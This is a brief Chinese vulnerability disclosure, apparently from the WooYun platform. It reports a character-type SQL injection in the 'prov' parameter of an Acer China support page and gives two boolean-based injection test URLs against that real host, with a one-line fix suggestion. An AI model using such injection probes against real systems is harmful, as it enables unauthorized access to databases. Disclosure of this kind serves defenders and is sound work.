宏基中国sql字符型注入及修复
简要描述：
http://support.acer.com.cn/newsupport/service/servnetnew.asp?prov=hubei
注入
字符型的
详细说明：
没什么好说了很明显了！
漏洞证明：
http://support.acer.com.cn/newsupport/service/servnetnew.asp?prov=hubei' and 1=1 and 'x'='x
http://support.acer.com.cn/newsupport/service/servnetnew.asp?prov=hubei' and 1=2 and 'x'='x
修复方案：过滤吧！
作者 公子@乌云
- 上一篇：Serv-U目录跳转
- 下一篇：新浪香港台湾分站的两个注入及修复
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻